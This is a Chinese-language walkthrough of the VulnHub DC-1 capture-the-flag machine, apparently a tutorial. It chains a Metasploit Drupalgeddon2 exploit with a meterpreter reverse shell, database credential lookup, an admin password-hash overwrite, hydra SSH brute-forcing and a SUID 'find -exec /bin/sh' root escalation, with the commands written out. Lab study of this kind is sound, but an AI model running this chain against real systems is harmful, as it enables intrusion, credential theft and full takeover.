D1靶机渗透
今天我们来学习D1靶机渗透找出所有flag
开始进行靶机下载地址:
链接: https://www.vulnhub.com/entry/dc-1,292/
在靶机下载后,将模式改为NAT模式,重启靶机
第一步:靶机信息收集
// nmap查询存活主机
nmap -sP 192.168.109.0/24
发现靶机地址
查询开放端口
// nmap查询查询开放端口
nmap -sV -p- 192.168.109.135
打开80端口查看网页
发现cms版本为7(火狐插件Wappalyzer,需要的话自行下载)
网上查找关于Drupal 7版本的漏洞
发现可以利用msf进行攻击提取shell
// 攻击msf
msfconsole
// 查找攻击模块drupa
msf6 > search drupa
选择use1
// 查找payLoad
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show payloads
选择reverse_tcp 然后进行一系列操作设置
// 选择payLoad reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set payload /php/meterpreter/reverse_tcp
// 显示
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
// 添加靶机IP
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.109.135
// 攻击(用run也可以)
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
提权成功:
第二步:查找flag1(python反弹shell)
查看一下基本信息
使用python进行反弹shell
// python shell
python -c "import pty;pty.spawn('/bin/bash')"
查找到第一个flag
第三步:查找flag2、3(数据库操作)
百度翻译
那就看一下他的配置吧
配置文件以set开头(不懂就百度一下) 那就查找一下吧(用通配符查找)
// 查找payLoad
www-data@DC-1:/var/www$ find -name "set*"
直接查看就好了
又是新的提示呦
还告诉你数据库名 用户名 密码了,直接登录
// sql登录
C-1:/var/www$ mysql -udbuser -pR0ck3t
进入drupaldb数据库
// 进入drupaldb数据库
mysql> use drupaldb
展示数据库中的表
// 展示数据库中的表
mysql> show tables
// 查看users表中的内容
select * from users;
发现密码进行了hash复杂加密,我们进行重置密码为admin,利用自带的脚本
// 重置密码为admin(加密hash)
www-data@DC-1:/var/www$ php scripts/password-hash.sh admin
用数据库用户名密码进行数据库,进入drupaldb库,显示表users 更新user表命令
// 进入drupaldb数据库中
www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t
mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
// 更新users表 修改密码wei admin
mysql> update users set pass="$S$DXrQpEHyj6pIf1xu0wJn3gjiVpK2pO3ZPZCpNQJYGkrBOR1vcCks" where uid=1;
修改成功
进入网页,输入用户名admin密码admin
然后点点点,找到flag字样提示
由图可知,我们需要找到etc/password下提示
第四步:查找flag4(ssh连接)
www-data@DC-1:/var/www$ cat /etc/passwd
发现了一个名为flag4的用户名,尝试用kail里的hydra进行破解
上命令图(大佬链接下借鉴)
// hydra破解密码
hydra -l flag4 -P /usr/share/john/password.lst 192.168.109.135 ssh -vV -f -o hydra.sh
这个命令的含义如下:
-l:使用登录名进行登录
-P:使用密码字典/usr/share/john/password.lst 进行破解
** -v/-V/-d 详细模式/显示login+pass每个尝试/调试模式
-f: 在找到用户名或密码时退出
-o: 将破解成功的用户名写入文件hydra.sh**
这里帮大家罗列出hydra破解不同协议密码常用的命令
最后破解成功:
通过ssh进入
// 更新users表 修改密码wei admin
ssh flag4@192.168.109.135
发现flag4.txt
第五步:查找最终(SUID提权)
让用相同方法去查找根目录(root)
要进行SUID提权
不了解SUID的可以参考大佬的链接哦
链接: https://blog.youkuaiyun.com/qq_51524329/article/details/121865922
flag4@DC-1:~$ find / -perm -u=s -type f 2>/dev/null
/:表示从文件系统的顶部(根)开始并找到每个目录
-perm: 表示搜索随后的权限
-u = s:表示查找root用户拥有的文件
-type:表示我们正在寻找的文件类型
f :表示常规文件,而不是目录或特殊文件
2:表示该进程的第二个文件描述符,即stderr(标准错误)
//建一个文件提权
flag4@DC-1:~$ mkdir QWE
flag4@DC-1:~$ find QWE -exec "whoami" \'
flag4@DC-1:~$ find QWE -exec "/bin/sh" \;
提权成功:
直接查看最后的flag即可:
最后恭喜大家顺利通关 撒花✿✿ヽ(°▽°)ノ✿